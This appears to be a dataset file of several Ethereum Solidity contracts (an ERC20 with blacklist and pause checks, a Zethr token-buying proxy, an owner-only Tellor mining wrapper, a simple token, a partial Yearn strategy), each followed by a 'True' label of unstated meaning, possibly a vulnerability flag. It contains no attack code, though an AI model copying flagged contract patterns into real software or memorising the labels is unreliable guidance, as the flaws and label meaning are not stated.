* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
* token transfers blocked if from or to a blacklisted wallet
* token transfers blocked if token paused
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 /* amount */
) internal virtual {
require(!paused(), 'ERC20Pausable: token transfer while paused');
require(!blacklisted(to) && !blacklisted(from), 'Cannot transfer tokens to or from blacklisted');
}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
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pragma solidity ^0.4.24;
/** Proxy contract to buy tokens at the 25% rate on Zethr.
**/
contract ZethrProxy_TwentyFive {
ZethrInterface zethr = ZethrInterface(address(0xD48B633045af65fF636F3c6edd744748351E020D));
address bankroll = 0x7430984e1D05d5F447c747123dd26845f6f17544;
address owner = msg.sender;
event onTokenPurchase(
address indexed customerAddress,
uint incomingEthereum,
uint tokensMinted,
address indexed referredBy
);
function buyTokensWithProperEvent(address _referredBy, uint8 divChoice) public payable {
// Query token balance before & after to see how much we bought
uint balanceBefore = zethr.balanceOf(msg.sender);
// Buy tokens with selected div rate
zethr.buyAndTransfer.value(msg.value)(_referredBy, msg.sender, "", divChoice);
// Query balance after
uint balanceAfter = zethr.balanceOf(msg.sender);
emit onTokenPurchase(
msg.sender,
msg.value,
balanceAfter - balanceBefore,
_referredBy
);
}
function () public payable {
}
function changeBankroll(address _newBankroll)
public
{
require(msg.sender == owner);
bankroll = _newBankroll;
}
// Yes there are divs generated on each buy,
// but not enough to justify transferring to msg.sender - gas price makes it not worth it.
function sendDivsToBankroll() public {
require(msg.sender == owner);
bankroll.transfer(address(this).balance);
}
}
contract ZethrInterface {
function buyAndTransfer(address _referredBy, address target, bytes _data, uint8 divChoice) public payable;
function balanceOf(address _owner) view public returns(uint);
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-03-02
*/
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TrbInterface {
function getUintVar(bytes32 _data) view public returns(uint256);
function transfer(address _to, uint256 _amount) external returns (bool);
function depositStake() external;
function requestStakingWithdraw() external;
function withdrawStake() external;
function submitMiningSolution(string calldata _nonce,uint256[5] calldata _requestId, uint256[5] calldata _value) external;
function addTip(uint256 _requestId, uint256 _tip) external;
}
contract Collection is Ownable {
address createAddress;
address trbAddress = 0x0Ba45A8b5d5575935B8158a88C631E9F9C95a2e5;
TrbInterface trbContract = TrbInterface(trbAddress);
constructor() public {
createAddress = msg.sender;
}
function() external onlyOwner payable{
require(createAddress == msg.sender, "author no");
}
function finalize() external onlyOwner payable{
require(createAddress == msg.sender, "author no");
}
function getCreate() public view returns(address){
return createAddress;
}
//ETH
function withdrawEth(uint _amount) public onlyOwner payable{
require(createAddress == msg.sender, "author no");
msg.sender.transfer(_amount);
}
function withdrawTrb(uint _amount) public onlyOwner payable{
require(createAddress == msg.sender, "author no");
trbContract.transfer(msg.sender, _amount);
}
function withdrawTrbByAddress(address _transaddress,uint _amount) public onlyOwner payable{
require(createAddress == msg.sender, "author no");
trbContract.transfer(_transaddress, _amount);
}
function depositStake() external onlyOwner payable{
require(createAddress == msg.sender, "author no");
trbContract.depositStake();
}
function requestStakingWithdraw() external onlyOwner payable{
require(createAddress == msg.sender, "author no");
trbContract.requestStakingWithdraw();
}
function withdrawStake() external onlyOwner payable{
require(createAddress == msg.sender, "author no");
trbContract.withdrawStake();
}
function submitMiningSolution(string calldata _nonce, uint256[5] calldata _requestId, uint256[5] calldata _value) external onlyOwner payable{
require(createAddress == msg.sender, "author no");
if (gasleft() <= 10**6){
bytes32 slotProgress =0x6c505cb2db6644f57b42d87bd9407b0f66788b07d0617a2bc1356a0e69e66f9a;
uint256 tmpSlot = trbContract.getUintVar(slotProgress);
require(tmpSlot < 4, "Z");
}
trbContract.submitMiningSolution(_nonce, _requestId, _value);
}
function addTip(uint256 _requestId, uint256 _tip) external onlyOwner payable{
require(createAddress == msg.sender, "author no");
trbContract.addTip(_requestId, _tip);
}
function getUintVar(bytes32 _data) public onlyOwner view returns (uint256){
require(createAddress == msg.sender, "author no");
//bytes32 slotProgress =0x6c505cb2db6644f57b42d87bd9407b0f66788b07d0617a2bc1356a0e69e66f9a;
return trbContract.getUintVar(_data);
}
} | True | [
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pragma solidity ^0.6.0;
// SPDX-License-Identifier: GPL-3.0-only
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
//import "../../GSN/Context.sol";
//import "./IERC20.sol";
//import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity ^0.6.0;
contract Electra is ERC20 ("Electra", "ELA") {
uint256 public constant initialSupply = 16000e18;
constructor () public {
_mint(address(0x40aaEb6804058c2c75DE5d1738C77104C977BF9D),initialSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-03
*/
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: DssAutoLine
interface DssAutoLine {
function exec(bytes32 _ilk) external returns (uint256);
}
// Part: EACAggregatorProxy
interface EACAggregatorProxy {
function decimals() external view returns (uint8);
function latestAnswer() external view returns (int256);
}
// Part: GemLike
interface GemLike {
function approve(address, uint256) external;
function transfer(address, uint256) external;
function transferFrom(
address,
address,
uint256
) external;
function deposit() external payable;
function withdraw(uint256) external;
}
// Part: JugLike
interface JugLike {
function drip(bytes32) external returns (uint256);
}
// Part: ManagerLike
interface ManagerLike {
function cdpCan(
address,
uint256,
address
) external view returns (uint256);
function ilks(uint256) external view returns (bytes32);
function owns(uint256) external view returns (address);
function urns(uint256) external view returns (address);
function vat() external view returns (address);
function open(bytes32, address) external returns (uint256);
function give(uint256, address) external;
function cdpAllow(
uint256,
address,
uint256
) external;
function urnAllow(address, uint256) external;
function frob(
uint256,
int256,
int256
) external;
function flux(
uint256,
address,
uint256
) external;
function move(
uint256,
address,
uint256
) external;
function exit(
address,
uint256,
address,
uint256
) external;
function quit(uint256, address) external;
function enter(address, uint256) external;
function shift(uint256, uint256) external;
}
// Part: OSMedianizer
interface OSMedianizer {
function read() external view returns (uint256, bool);
function foresight() external view returns (uint256, bool);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
